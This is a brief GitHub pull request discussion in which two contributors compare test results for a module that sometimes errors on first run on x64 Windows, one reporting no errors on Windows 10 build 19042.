I can't find the root of the problem. The first time I run the module I always get errors when testing the x64 architecture, but the second time it works fine again

Hmm that's strange, I just retested the module on x64 architecture and I'm not seeing any errors. What version of windows are you testing on? I'm testing on Windows 10 (10.0 Build 19042)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

3 participants